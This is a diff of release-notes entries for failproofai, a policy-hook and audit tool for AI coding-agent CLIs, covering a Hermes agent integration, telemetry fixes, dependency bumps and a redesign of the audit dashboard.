- Make the README's 12-CLI logo grid responsive: replace the two inline-image paragraphs (which re-wrapped into ragged 5+1 rows on narrow windows) with a 6-column table that stays 2×6 at every width, scrolling horizontally on very narrow screens instead of collapsing. Keeps every logo's link and light/dark `` variant. (#516)
+
- Backfill **OpenClaw** into the user-facing supported-CLI docs (README + `configuration` / `getting-started` / `introduction`) — it shipped as a wired integration but was never added to those lists. (#508)
+
- Add all 12 supported-CLI logos to the README (added openclaw/factory/devin/antigravity/goose with light+dark variants), link each logo to its official site, and lay them out as 2 rows of 6. (#508)
+
- Document that **VS Code Copilot agent mode** (Preview) is already covered by the `copilot` / `claude` integrations: its agent hooks load from `.github/hooks/*.json`, `~/.copilot/hooks/*.json`, and `~/.claude/settings.json` — the exact paths failproofai already writes — so `--cli copilot` (or `--cli claude`) enforces in VS Code agent-mode sessions with no dedicated `vscode` id. (#508)
+
- Add a per-page contextual menu to the docs site (`contextual` in `docs.json`): readers can copy the page as Markdown, view the raw Markdown, hand the page off to ChatGPT / Claude / Perplexity, open it in an MCP client / Cursor / VS Code, or ask the AI assistant a question about it. The `assistant` ("Ask a question") option additionally requires enabling the assistant in the Mintlify dashboard. (#540)
### Dependencies
@@ -618,7 +942,9 @@ never "blocked".
### Fixes
- Fix hook telemetry being dropped on the common allow path. The binary is short-lived — `bin/failproofai.mjs` calls `process.exit()` the moment `handleHookEvent` returns — so events fired with un-awaited `void trackHookEvent(...)` (`custom_hooks_loaded`, `convention_policies_loaded`, the `*_error` events) were killed mid-flight and never reached PostHog; they only survived when a `deny`/`instruct` decision happened to add a trailing `await`. `hook-telemetry.ts` now tracks every in-flight POST and exposes `flushHookTelemetry()`, which `handleHookEvent` awaits before returning (and `bin`'s hook error path drains on throw), so all fired events are delivered reliably regardless of decision. No change to *which* events fire — allow decisions still send nothing by design. (#516)
+
- Include the failure reason in audit failure telemetry. `cli_audit_failed` (CLI) and `audit_run_failed` (dashboard) previously carried only `error_type` (the error's class name, e.g. `"TypeError"`); they now also send `error_message` — the actual failure text, home-directory-stripped to `~` and length-capped via a shared `sanitizeErrorMessage()` helper (`lib/telemetry-sanitize.ts`) so no local paths leak. (#516)
+
- Fix the Pi live `pi list` roundtrip e2e tests against pi-coding-agent ≥0.80: newer Pi no longer trusts project-local `.pi/settings.json` by default, so the tests now detect the installed Pi version and pass `pi list --approve` on ≥0.80 (older Pi trusts project settings without the flag and would reject it) to include the project-scope package failproofai's installer writes (previously `pi list` printed "No packages installed." — failing the install roundtrip and making the uninstall roundtrip pass vacuously). Gated behind `detectPiVersion()`, so it only runs where `pi` is installed. (#491)
### Docs
@@ -628,13 +954,16 @@ never "blocked".
### Fixes
- Skip the `require-*-before-stop` workflow gates during Claude Code plan mode (`permission_mode: "plan"`) — plan mode makes no commits/pushes/PRs by design, so the gates were wrongly demanding actions plan mode forbids (e.g. `git push` with nothing to push, blocking the agent from finishing). (#488)
+
- Fix translation regressions from the #486 docs sync: strip hallucinated `{#…}` heading-ID syntax that broke MDX parsing (`ja/built-in-policies`), restore dropped YAML frontmatter (`tr/cli/hook`) and the `--cli …|hermes` inline code span (`he/configuration`), and un-translate an inline-code placeholder (`de/cli/auth`). (#487)
## 0.0.13-beta.1 — 2026-07-10
### Features
- Add Hermes (hermes-agent) **audit** integration (offline replay): `failproofai audit` discovers Hermes gateway sessions from the single `~/.hermes/state.db` and replays every tool call through the existing policy engine + audit detectors. Introduces a **reusable SQLite read layer** (`lib/sqlite-reader.ts`) that reads **live** data via Node's built-in `node:sqlite` (WAL-aware — sees rows still in the write-ahead log) with a pure-JS `sql.js` fallback for Node < 22.5 (no native module — survives `npm install --ignore-scripts`), so this and future SQLite-backed agents read their DB directly; **opencode and every already-shipped CLI keep their existing CLI shell-out unchanged.** Parses the OpenAI-shape `messages` rows into the shared `LogEntry[]` form, groups gateway sessions by `source` (Slack/Telegram/cli/cron — which have no cwd), and uses `message_count` as a per-transcript cache key. Adds `HERMES_TOOL_MAP` (`terminal→Bash`, `read_file→Read`, `write_file→Write`, `patch→Edit`, `web_search→WebSearch`, …) and makes the live-hook install registry (`INTEGRATIONS`) `Partial` so audit-only CLIs are never offered for hook install. (#486)
+
- Surface Hermes sessions in the dashboard's **projects / history browser** (not just the audit counts): a `getHermesProjects()` provider groups gateway sessions into `hermes-` projects, the project-detail page lists them, and the session viewer renders the full transcript (badged **Hermes**) with a JSONL download. Wired through `lib/projects.ts`, `lib/cli-registry.ts`, `lib/download-session.ts`, and the `app/project/[name]` routes. (#486)
+
- Promote Hermes to a **live-hook** integration (Pillar 1): `failproofai policies --install --cli hermes` wires failproofai into `~/.hermes/config.yaml` under a `hooks:` map so the client's **custom policies intercept and block Hermes tool calls in real time**. A `deny()` emits Hermes's `{"decision":"block","reason"}` stdout contract (Hermes ignores exit codes) and actually stops the tool before it runs. **Platform-independent by design** — the `pre_tool_call` hook fires on the tool event, not the platform, so one install intercepts every source (Slack/Telegram/cli/cron) and internal subagents uniformly. Installs `pre_tool_call`/`post_tool_call`/`on_session_start`/`on_session_end`/`subagent_stop` (via `HERMES_EVENT_MAP`), edits the YAML through a comment-preserving `Document` round-trip so the operator's other settings survive, and sets `hooks_auto_accept: true` so the headless gateway (no TTY) runs the hooks without a consent prompt. **Known limitations:** Hermes has **no turn-end `Stop` event**, so the 5 `require-*-before-stop` builtins never fire for it (inapplicable, not broken); `instruct()` degrades to allow-with-logged-note (Hermes has no additional-context channel); and tool calls inside processes Hermes spawns via `terminal` run in a separate process (gate the spawn at `pre_tool_call`). Every other already-integrated CLI is untouched. (#486)
### Docs
@@ -642,6 +971,7 @@ never "blocked".
### Dependencies
- Add `sql.js` (pure-JS/asm SQLite) as the **fallback** SQLite reader in `lib/sqlite-reader.ts` for Node < 22.5 (recent Node uses the built-in `node:sqlite`). No native build — survives `npm install --ignore-scripts`; kept external in the CLI bundle so it resolves from `node_modules` at runtime like `posthog-node`. (#486)
+
- Add `yaml` (eemeli/yaml — pure JS, zero deps, no native build; survives `npm install --ignore-scripts`) for the Hermes live-hook integration. Its `parseDocument`/`Document` API round-trips `~/.hermes/config.yaml` **preserving the operator's other keys + comments (outside the `hooks:` block)** when failproofai installs/removes its hooks. (#486)
## 0.0.13-beta.0 — 2026-07-09
@@ -662,21 +992,37 @@ never "blocked".
### Dependencies
- Bump `actions/cache` 5 → 6 (#463)
+
- Bump `lucide-react` 1.21.0 → 1.22.0 (#464)
+
- Bump `eslint` 10.5.0 → 10.6.0 (#465)
+
- Bump `@anthropic-ai/sdk` 0.105.0 → 0.107.0 (#466)
+
- Bump `@vitejs/plugin-react` 6.0.2 → 6.0.3 (#467)
+
- Bump `posthog-node` 5.38.2 → 5.38.8 (#468)
+
- Bump `@tanstack/react-virtual` 3.14.3 → 3.14.4 (#470)
+
- Bump `tailwindcss` 4.3.1 → 4.3.2 (#471)
+
- Bump `@types/node` 26.0.0 → 26.0.1 (#472)
+
- Bump `@types/node` 26.0.1 → 26.1.0 (#474)
+
- Bump `eslint-config-next` 16.2.9 → 16.2.10 (#475)
+
- Bump `@anthropic-ai/sdk` 0.107.0 → 0.110.0 (#476)
+
- Bump `@tanstack/react-virtual` 3.14.4 → 3.14.5 (#477)
+
- Bump `vitest` 4.1.9 → 4.1.10 (#478)
+
- Bump `next` 16.2.9 → 16.2.10 (#479)
+
- Bump `posthog-node` 5.38.8 → 5.40.0 (#480)
+
- Bump `lucide-react` 1.22.0 → 1.23.0 (#481)
### Docs
@@ -686,98 +1032,182 @@ never "blocked".
### Breaking
- Remove the undocumented cloud auth + event relay subsystem ahead of a from-scratch redesign. Deletes `src/auth/` (OAuth 2.0 device-flow login against `api.befailproof.ai`, `~/.failproofai/auth.json` token store) and `src/relay/` (WebSocket event relay daemon, sanitized JSONL queue at `~/.failproofai/cache/server-queue/`, PID tracking). Strips the `failproofai login` / `logout` / `whoami` / `relay start|stop|status` / `sync` subcommands and the internal `--relay-daemon` mode from `bin/failproofai.mjs`, along with their `--help` entries and "did you mean" suggestions. Removes the fire-and-forget `appendToServerQueue` + `ensureRelayRunning` calls from `src/hooks/handler.ts` so hook evaluation no longer enqueues events or lazy-spawns a daemon. The whole subsystem had zero references in `README.md`, `docs/`, `examples/`, or `__tests__/`, and only had internal cross-imports — `tsc`, `eslint`, `vitest` (1623 tests), and the `bun run build` bundles all stay green. Users who ran `failproofai login` should also wipe `~/.failproofai/{auth.json,cache/server-queue,relay.pid}` and stop any running relay daemon by hand; new auth/cloud surface will land in a follow-up.
+
- Default policy namespace renamed from `exospherehost` to `failproofai`. Configs that explicitly reference builtins as `exospherehost/` must update to `failproofai/`. Flat-name shorthand (e.g. `"sanitize-jwt"`) continues to work unchanged because it auto-resolves to the new default namespace. Builtin docs (EN + 14 translations) updated to show the new namespace.
### Features
- Collapse the dashboard "Reach Us" dropdown's three GitHub links (Request a Feature / Report an Issue / Ask a Question) into a single **Feedback & Issues** entry pointing at the GitHub issue chooser (`/issues/new/choose`).
+
- Reorder the policies → activity table columns to: time · decision · event · cli · tool · policy · reason · mode · duration · session.
+
- Add a PR-level MDX parse check (`bun run validate:mdx`, wired into the CI `docs` job) that compiles every `docs/**/*.mdx` with the same MDX engine Mintlify runs at deploy time. `mintlify validate` only checks `docs.json` structure and nav links — it never parses page content — so syntax errors slipped through to the post-merge deploy. This catches them on the PR instead (#455).
+
- Invite emails now include the inviter's audit score: `sendInvites()` and the `/api/audit/invite` proxy forward a clamped (0–100) score to the api-server, which renders "my agent scored a N/100" in the body. Threaded `AuditDashboard → ComeBackBetterSection → InviteDialog`; optional end-to-end so it degrades to score-free copy when absent (#456).
+
- Rewrite the X/LinkedIn share templates (10 each): lead on the score and archetype and end on the `npx -y failproofai audit` CTA + handle (`@failproofai` / `@Failproof AI`), with no URLs in the copy so the pasted audit-card image isn't replaced by a link-preview card (#456).
+
- Enlarge the audit poster's four corner labels so they read clearly at share size, on both the dashboard render and the downloaded PNG (#456).
+
- Add the `failproofai audit` CLI command: scans local agent-CLI session history, pre-warms the dashboard cache, and opens the `/audit` report — also runs install-free via `npx -y failproofai audit`. New `src/audit/cli.ts` (animated progress mirroring the dashboard's stages) and `src/audit/open-browser.ts`, wired into `bin/failproofai.mjs` (#453).
+
- Rework the shareable `/audit` card (dashboard render + downloadable PNG): remove the bottom-tier rank pill, center the score, and rebuild the footer as a glowing white `befailproof.ai` stamp + a glowing `npx -y failproofai audit` CTA. Expand the social-share copy to 10 X + 10 LinkedIn templates (short, on-brand) tagging `@failproofai` / `@Failproof AI`, drop the raw site URL, and append a clipboard paste hint on share (#453).
+
- Add `invite a friend` flow on `/audit#come-back-better`: new `InviteDialog` modal takes a comma/space/newline-separated list of friend emails (validates inline, hard-cap of 10 per submit, dedupes against the sender's own address), POSTs them to the new `/api/audit/invite` Next.js proxy route, which forwards to the api-server's `POST /v0/invite` endpoint with the user's Bearer token. Anonymous users get routed through `AuthDialog` first so we have a sender identity to Cc. Removes the placeholder `1 of 3 invited` perks progress bar — the perks copy now says invites are sent from failproof.ai + Cc'd to you. The upstream `/v0/invite` endpoint contract is handed over to the `FailproofAI/platform` team separately (#435).
+
- Restructure `/audit` into a single-screen shareable poster + four below-fold sections (`strengths` / `quirks` / `how to improve` / `come back better`). The poster is the PNG-export region and now self-contains the wordmark, archetype index, audit date, score + rank, persona name + keywords + rarity, sigil tile, and a `audit yours → failproof.ai` footer — so screenshots and shares carry the brand without the surrounding dashboard chrome. `// how to improve` becomes a calm row list per prescribed policy (name in white, one-line description, command + copy button on the right) topped by an `[install all]` button that copies the combined `failproof policy add a b c …` command. `// come back better` adds a 3d/7d/14d/30d reminder-cadence picker and a perks card (mock data — invite tracking + entitlement lands in a follow-up). `/policies` and `/projects` revert to plain title-case English headings (`Policies` / `Configure Policies` / `Projects`) per commit a0a18415. Site-wide chrome strips down to a calm dark canvas — body gridline + noise overlays, hard-offset pink shadows, text-shadow stamps, gridline-on-card backgrounds, and the floating share dock all go away. Pink migrates from `#e4587d` → `#e4587c` across `app/globals.css`, `app/audit/audit-styles.css`, and the audit asset CSS files. Deleted: `identity-section`, `score-section`, `findings-section`, `policies-section`, `return-section`, `show-off-cta`, `share-dock`; new: `audit-poster`, `quirks-section`, `how-to-improve-section`, `come-back-better-section`, `src/audit/social-proof.ts` (seeded archetype rarity + score-rank bands). Design spec lives at `docs/superpowers/specs/2026-06-11-audit-poster-restructure-design.md`.
+
- Add a 7-day TTL to both audit caches and a top-of-page re-audit affordance. (1) Per-transcript cache (`src/audit/cache.ts`) gains a `cachedAt: number` field and a `CACHE_TTL_MS = 7d` reject-on-read check; schema bumps `2 → 3` so v2 entries (no `cachedAt`) force a clean re-scan instead of being trusted forever. (2) Dashboard cache (`src/audit/dashboard-cache.ts`) reuses the existing `isCacheStale(cachedAt, 7d)` helper to reject expired entries on read — `getAuditResultAction()` already maps `null` to `{status: "empty"}`, so `/audit` falls through to the empty state automatically; a new `readDashboardCacheMeta()` helper bypasses the TTL so the empty path can distinguish "first run" from "your last audit expired" and show distinct copy. (3) New `TopAuditBar` component (`app/audit/_components/top-audit-bar.tsx`) renders as the first child of `.report` — three modes (cached, expired, empty), shows relative-time (`audited 3d ago`), an amber `expires in 14h — re-audit to refresh` chip when within 24h of the TTL boundary, and a `[ re-audit ]` button reusing `.share-btn`. (4) Re-audit flow rewrite: `audit-dashboard.tsx` lifts the run state out of `return-section.tsx` so the top bar and bottom button share a single `startRerun(source)` handler — concurrent clicks are impossible and the success path soft-refreshes the dashboard cache (via the existing `getAuditResultAction`) instead of `window.location.reload()`. (5) New `AuditProgressStrip` component renders a sticky top banner during the run with an elapsed timer + CSS-only edge pulse, and a red error variant whose copy is keyed off `RerunError.kind` (`timeout` / `network` / `post_failed`); pinks/dashed/hard-offset shadows reuse the existing `.share-btn` / `.arch-mast` vocabulary so the new chrome reads as a sibling of what's already on the page (no new fonts, colors, or animation curves). New tests: `__tests__/audit/cache.test.ts` round-trips the per-transcript cache and asserts TTL + schema-v2 rejection; `__tests__/audit/dashboard-cache.test.ts` gains TTL + meta-probe cases; `__tests__/audit/top-audit-bar.test.tsx` covers the pure relative-time helpers and the three render modes (#428).
+
- Send the raw verified email to PostHog (replacing the SHA-256 `email_hash`) and strengthen the verified-account → device identity stitch. `app/api/auth/login-request/route.ts` drops the `hashEmail()` helper and emits the normalised raw `email` on all three `audit_otp_requested` events; the login logic still passes the original address to the api-server unchanged. The `audit_user_identity_linked` event (both the dashboard `login-verify` route and the `failproofai auth login` CLI in `src/auth/cli.ts`) now carries the verified `email` alongside `user_id` + `local_random_id`, plus a PostHog `$set: { email, user_id }` so the device person — whose `distinct_id` is the local random instance id — is persistently associated with the verified account, not just logged. `audit_otp_verified` success events gain `email` too for consistency. Telemetry-only change; no auth/share core logic touched. Note: this now sends user email (PII) to PostHog where a hash was sent before — still gated by `FAILPROOFAI_TELEMETRY_DISABLED=1`. (The `/audit` ShareDock social buttons were already fully instrumented — `audit_card_share_clicked` / `audit_card_capture_completed` / `audit_share_dock_toggled` — so no change was needed there.)
+
- Tighten the `/audit` share flow: drop the inline share buttons (the floating dock from the prior change is the single share surface now), wire the dock to try the Web Share API with an image file attached (`navigator.share({ files: [pngFile], text })`) before falling back to clipboard + intent URL, and route the dedicated "save audit-card" button through a new `downloadCard()` helper that always downloads (no clipboard try). On iOS / Android / Safari / recent Chrome desktop the X / LinkedIn buttons now produce a one-tap share-with-image via the system sheet. On browsers without `navigator.share` files-support, the existing clipboard-then-paste path is unchanged. The save button finally just saves. New `shareCardNative()` helper (returns boolean + early-exits on `AbortError`) and split `downloadCard()` / `copyOrDownloadCard()` in `lib/share-card.ts`; `shareCardToastMessage()` adds a `"native"` variant ("✅ image attached — pick where to post"). `app/audit/_components/identity-section.tsx` is now display-only — the share handlers, state, helpers, and three-button strip JSX are gone; `score` / `grade` / `missing` props removed too (the dock owns them via its own props from `audit-dashboard`). Telemetry `image_method` field gains a `"native"` value so we can measure native-share success rates. +4 tests for `downloadCard` (anchor click) and `shareCardNative` (no-API / resolves / AbortError).
+
- Rework the `/audit` share-card experience so the audit PNG actually lands in the user's social post. (1) New `lib/share-card.ts` exports `copyOrDownloadCard(blob, filename)` — tries `navigator.clipboard.write([new ClipboardItem({ "image/png": blob })])` first (Chromium ≥63 / Safari ≥13.1) and falls back to a local download on permission denial or older browsers; returns `"clipboard" | "download" | "failed"` so callers can show method-specific toasts via the existing site-wide ` `. (2) `app/audit/_components/identity-section.tsx` `captureCard` is split into `captureCardBlob()` (returns a `Blob | null`) and the three click handlers (`handleShareX`, `handleShareLI`, `handleDownload`) now sequence `captureCardBlob → copyOrDownloadCard → toast → window.open`. Telemetry events (`audit_card_share_clicked`, `audit_card_capture_completed`) gain `image_method` ("clipboard" / "download" / "failed") and `source` ("identity" / "dock") so we can measure how often the clipboard path succeeds and which surface drove the share. (3) Inline share buttons are redesigned around a new shared `.share-btn` class — 44px square platform mark on the left (X tile in black with white `𝕏`, LinkedIn tile in `#0a66c2` blue with white `in`, download tile with pink-crosshair corner adornment), small green "share on" / "save" eyebrow + 13px platform label in the middle, pink trailing arrow on the right; a 2px pink right-edge stroke at rest reads as "armed", hover fills the border + adds a 4px hard-offset pink shadow + lifts (-1px, -1px), press translates (2px, 2px) and collapses the shadow. (4) New `app/audit/_components/share-dock.tsx` mounts a floating bottom-right dock that shares the same `.share-btn` styling — three full-width buttons stacked vertically, pink corner brackets on the outer panel, a collapse caret in the header that shrinks the dock to a single 56px pink FAB (preference persists in `sessionStorage`), slide-in animation, hidden under 760px viewports. Mounted once from `audit-dashboard.tsx`, sharing the same `identityFrameRef` the inline buttons already capture. All new motion respects `prefers-reduced-motion: reduce`. +4 tests: `__tests__/lib/share-card.test.ts` covers clipboard-success, clipboard-rejection-fallback-to-download, `ClipboardItem`-undefined-fallback-to-download, and method-keyed toast copy.
+
- Rework the top of the `/policies` activity view so it feels composed at every width (instead of the recent `.report` widening leaving its top elements clustered on the left). Three coordinated moves in `app/policies/hooks-client.tsx` + two new reusable classes in `app/globals.css`. (1) `StatsBar` is rebuilt around a new shared `.stat-bar` class — a 3-cell brutalist instrument strip (full-width grid, pink corner brackets like `.panel`, dashed vertical dividers, green eyebrow captions, 26px mono numerals, tabular-numeric formatting, locale-grouped thousands, amber tone on deny-rate ≥ 2%, pink on ≥ 5%); collapses to a single column under 800px. (2) The filter strip is rebuilt around a new shared `.filter-bar` class — each control sits in a `.filter-group` (label + control stacked) with 10px green-eyebrow labels; the two text-input groups get `flex: 1 1 220px` (`.filter-group--grow`) so they elastically absorb leftover horizontal space instead of staying pinned to `w-44`; a dashed `[ clear ]` chip appears only when at least one filter is active. (3) The header description block above the tabs is freed from its `maxWidth: 720` cap — it's now a 2-column flex row: descriptive copy on the left, a right-aligned `[ configure policies → ]` `.btn-primary` (replacing the inline text-underlined `go here`) with a small green-eyebrow caption above it. The activity table itself gets a `` with proportional column widths (Policy 18%, Reason 22%, badges 8% each, Duration 6%, Time 7%) and `table-layout: fixed` so the columns hold intentional proportions across viewport sizes — Policy + Reason become the visual anchors (40% of the row) and badges stay compact instead of stretching. `.activity-thead` gets green-eyebrow uppercase headers with 0.18em tracking, and `.activity-detail` replaces the old `bg-muted/20` expanded-row style with a 3px pink left border + a `▾ EVENT DETAIL` eyebrow caption. The expanded-row `colSpan` bug (was `10`, table has 11 columns) is also fixed so the detail panel covers the rightmost Time column.
+
- Reframe the audit hero's central pixel sigil as a brutalist "instrument plate" (`app/audit/_components/sigil.tsx`, `app/audit/audit-styles.css` `.sigil-plate` block). The old bare 8×8 grid felt visually underweight beside the 124px Bitcount archetype name. The new treatment wraps the grid in a plate with register crosshair marks at all four corners (CSS-only `+` from two 1px bars), a header strip showing the archetype index + an "8×8" coordinate label, the grid mounted on a dashed inner frame with cells bumped from 16px → 20px, and a footer strip naming the archetype. The plate gets a stacked hard-offset shadow (pink at 8px, black at 16px) for depth, accent pink/green cells get a subtle inner glow, and cells fade in along a diagonal `(x+y)` wave on mount via per-cell `--cx` / `--cy` custom properties (22ms × cell-index stagger, 280ms duration, `cubic-bezier(0.22, 1, 0.36, 1)`, total ≈ 600ms). The ShowOff CTA's bare-grid sigil and the html2canvas poster capture both keep their pre-plate look via a `data-bare` flag + `.archetype-frame.capturing` collapse to a single shadow that html2canvas renders reliably. Reduced-motion users see the final state with no diagonal wave.
+
- Bump base font-size from `14.5px` → `16px` in `app/globals.css` for general readability, and round the smallest mono chrome labels up to compensate: `.btn` and `.tab` go `12px → 13px`, `.section-label` and `.section-meta` go `11px → 12px`. Tailwind text utilities downstream (`text-xs` = 0.75rem, `text-[0.7rem]`, etc.) scale automatically with the new root — the policies activity table that read ~11px now reads ~12px without touching `hooks-client.tsx`.
+
- Make the dashboard chrome scale to fill ultrawide monitors. `.report` in `app/globals.css` swaps the fixed `max-width: 1380px; padding: 0 40px` for `max-width: clamp(720px, 96vw, 1840px); padding: 0 clamp(20px, 3vw, 56px)` — on a 2400px viewport the content shell now occupies ~1840px (~530px of empty side margin → ~280px) without letting tabular line measure get unreadably long on 4K. The audit-page override in `app/audit/audit-styles.css` matches, narrower: `clamp(720px, 92vw, 1480px)` so the archetype hero stays composed. `.archetype-frame` itself gets a `max-width: 1320px` cap with `margin: 0 auto` so the giant Bitcount headline + pink-shadowed border don't stretch past their compositional break-point on huge screens. Prose blocks (`.arch-desc`, `.arch-tagline` at 580px max-width) and side gutters keep readability tight at every step of the clamp.
+
- Subtle polish pass across all 5 pages — same brutalist pixel-craft aesthetic, more carefully made. `app/globals.css` gets a global `::selection` pink wash, an opt-in `:focus-visible` ring system that fires keyboard-only on every interactive element (`a`, `button`, `input`, `.btn`, `.tab`, `.btn-press`), and the existing `.btn` / `.btn-press` / `.tab` / `.panel` transitions are repointed at the `cubic-bezier(0.22, 1, 0.36, 1)` curve already used by `.audit-bar-fill` (away from `transition: all 120ms ease`, which was animating layout properties unintentionally). New: a `.btn:active` press-down, a `.btn-press:active` collapse, a `.tab::after` underline that emerges from center on hover for inactive tabs, and an opt-in `.panel.is-interactive` hover that grows the pink corner brackets from 10px → 16px. `app/projects/page.tsx` gains a section-mast row with the `━━ projects` glyph + folder counter, swaps "Projects" for the lowercased "your agent footprint." headline, and the empty state now renders a 6×6 pixel-grid "no projects" sigil with a 4px hard-offset pink shadow. `app/projects/loading.tsx` staggers its 8 skeleton rows with the same `audit-row-enter` keyframe used by the audit findings table and adds an `aria-busy` "loading…" pip in the mast. `app/project/[name]/page.tsx` migrates from the old shadcn-style `container mx-auto bg-card rounded-lg` chrome to the unified `.report` + `.section` + `.panel` shell — ` ` becomes a `.btn` with the same `━━` glyph, the path / modified pair is a tight green-eyebrow `` grid, and the sessions block gets its own section-label mast. `components/navbar.tsx` tightens the slipping-through badge aria (pluralised, `role="status"`, native title tooltip). All new motion respects `prefers-reduced-motion: reduce` — `globals.css` and `audit-styles.css` each got a guard that stills the new tab underline, panel corner growth, button micro-motion, the audit terminal cursor blink, spinner step, marquee shine, and identity dot pulse for vestibular-sensitive users.
+
- Personalise the `/audit` share copy. The single hardcoded X / LinkedIn template is replaced with five quirky emoji-forward templates for X and five measured professional templates for LinkedIn (`app/audit/_components/share-templates.ts`), each interpolating the run's score, grade, archetype and missing-policy count (with correct singular/plural and clean-run phrasing). One is chosen deterministically per audit via the behaviour-fingerprint seed (`classification.variantSeed`), so the same run always shows the same post while different runs / personas vary. The `ShareDock` now renders these instead of the prior one-liner; the image-attach flow (native share → clipboard → download) is unchanged. New unit test `__tests__/audit/share-templates.test.ts` covers personalisation, clean-run phrasing, X-quirky/LinkedIn-professional tone, and deterministic-but-varied selection.
+
- Rework the `/audit` archetype + score engine so personas are evenly reachable and scores are dynamic rather than locked to a few thresholds. New shared feature layer `src/audit/features.ts` derives everything both consumers need from one pure function (`deriveFeatures`): the full 47-signal `SIGNAL_MAP` (every builtin + detector mapped exactly once, rebalanced — cowboy 20 / explorer 10 / ghost 7 / optimist 6 / hammer 2 / architect 2), a self-calibrated `BASELINE_SHARE` per persona, per-persona **lift** (observed-share ÷ baseline-share), lift entropy, an architect caution-share, an overall fault-rate, and a deterministic behaviour `fingerprint`. `classifyAgent` (`src/audit/archetypes.ts`) becomes a 5-step pipeline that makes all 8 personas reachable: `precision` (no *concentrated* fault tendency — total weighted signal below an absolute floor, or a trace amount thinly spread over a high-volume session; deliberately not a hit-rate, so a real tendency like 8 rm-rf attempts across 2000 clean calls still classifies as its persona rather than collapsing to "clean"), `architect` (the two over-verification detectors dominate — ratio), `goldfish` (high lift entropy across ≥4 clusters — spread), then argmax **lift** over the 5 active-fault personas, with near-ties broken deterministically by the fingerprint. A realistic-population Monte-Carlo (50k simulated users) confirms every persona lands at 10–18% share — no skew — with all 8 present in any 100-user cohort. Ranking by lift instead of raw weighted-hits removes the cowboy surface-area skew (cowboy owns 20 of 47 signals but must now over-index its own baseline to win). `deriveScore` (`src/audit/scoring.ts`) is rewritten to be rate-normalised against a `REF_EVENTS` reference volume and saturating (`cap·(1−e^(−p/k))` per severity bucket instead of hard `min(p,cap)` clips, so the curve is strictly monotonic and no two hit-counts collide on a fixed value), with a small strengths-derived credit so clean agents spread upward; `projectedScore` reuses the same shared penalty curve. `src/audit/index.ts` now derives each builtin row's severity from its name prefix (`severityForBuiltin`) instead of hardcoding `"deny"`, so the score's medium/gentle buckets actually populate. Copy-variant selection is seeded by the behaviour fingerprint (`classification.variantSeed`) so two agents that land on the same primary still see different language, while the same input is byte-identical on every run. New tests: rewritten `__tests__/audit/archetypes.test.ts`, new `__tests__/audit/scoring.test.ts` (monotonicity / volume-normalisation / determinism), and a seeded `__tests__/audit/distribution.test.ts` harness proving all 8 personas are reachable and no single-cluster profile is hijacked by another persona.
+
- Drop the standalone pixel icon from the top navbar (`components/navbar.tsx`) — the brand cluster is now wordmark-only. Logo resolution is also reworked: a new `useBrandLogo` hook attempts a runtime `fetch` of the remote brand URL on mount, blob-wraps the response into an object URL on success, and falls back to the bundled `/logo.svg` (served from `public/`, mirrored at `assets/logos/company/logo.svg`) on any error/non-OK status. The local fallback is also rendered as the initial state so SSR + pre-fetch frames show the brand without a flash.
+
- Swap the display font across the app from `Architype Stedelijk` to `Bitcount Prop Single` (the wordmark treatment used on befailproof.ai). Replaces both font binaries — `public/audit/fonts/architype-stedelijk.{woff2,ttf}` and `assets/audit/assets/fonts/architype-stedelijk.{woff2,ttf}` — with the single self-hosted static instance `bitcount-prop-single.woff2` (wght 417 + ELSH 55 baked in, so no `font-variation-settings` plumbing is needed). Both `@font-face` blocks (`app/globals.css`, `assets/audit/styles.css`) and both `--font-display` declarations are updated; the CSS variable name and fallback stack (`"VT323", "JetBrains Mono", monospace`) stay unchanged so every consumer of `var(--font-display)` picks up the new face with no further edits. Stale Architype references in the comment headers of `components/navbar.tsx`, `app/audit/_components/empty-state.tsx`, and `app/audit/_components/show-off-cta.tsx` are renamed to match.
+
- Pin the `/audit` report footer to the viewport bottom on the empty / running states. `ReportFooter` (`app/audit/_components/report-footer.tsx`) gains an optional `fixed` prop that adds a `report-footer--fixed` class (`position: fixed; left/right/bottom: 0; padding: 16px 32px; z-index: 10`, defined in `app/audit/audit-styles.css`); `ShellEmpty` in `audit-dashboard.tsx` passes it so the pre-run `EmptyState` and the `RunProgress` view — both short pages where the in-flow footer was floating mid-viewport and scrolling with the page — get a sticky status-bar style footer. The post-run dashboard mount is left unchanged because its long content places the footer at the document end naturally.
+
- Point the default api-server base URL at the hosted endpoint `https://api.befailproof.ai` instead of `http://localhost:8080`. `lib/auth/api-server-client.ts:DEFAULT_API_BASE` flipped; CLI help text in `src/auth/cli.ts`, the "could not reach" CliError, the dashboard's `auth-dialog.tsx` error copy ("is it running on :8080?" → "check your network"), `docs/cli/auth.mdx`'s env-var table, and `docs/cli/environment-variables.mdx`'s authentication-section row all updated to name the new default. Local-dev contributors and self-hosted users continue to override with `FAILPROOF_API_URL=http://localhost:8080` (or whatever host they want). No behavior change for anyone who already had the env var set.
+
- Close five funnel gaps in audit-page telemetry. (1) `audit_dashboard_viewed` fires once when the report renders with `{score, grade, archetype, secondary, missing, transcripts_scanned, results_count, detectors_triggered}` — the existing `audit_page_viewed` only carried `state` + `has_cache`, so click-through rates against share / download / rerun events were impossible to compute without joining server logs. (2) `audit_reminder_cta_shown` (after the `/api/auth/status` probe resolves) and `audit_reminder_cta_clicked` (on press) in `return-section.tsx` close the front of the funnel `shown → clicked → AuthDialog → reminder_set` — previously we only saw the terminal `audit_reminder_set` event. (3) `auth-dialog.tsx` now emits `audit_auth_dialog_opened`, `audit_auth_dialog_dismissed` (with the step the user gave up on), and `audit_auth_dialog_succeeded`, all tagged with a new `source` prop (`"return_section"` from `ReturnSection`); combined with the existing OTP-level events we can now see exact dropoff at email entry vs OTP entry. (4) `audit_rerun_failed` fires from both `rerun-button.tsx` and `return-section.tsx`'s `handleRerun` with `kind` (`post_failed | network | timeout`) from `RerunError` — alertable on rerun reliability without parsing `/api/audit/run` server logs. (5) `api_server_unreachable` is incremented from `fetchWithTimeout` in `lib/auth/api-server-client.ts` (kind = `timeout | network`, plus the request path + method) so "the api-server is down" is one PostHog count instead of a server-log scrape; the call is a no-op on the CLI side when telemetry has not been initialised.
+
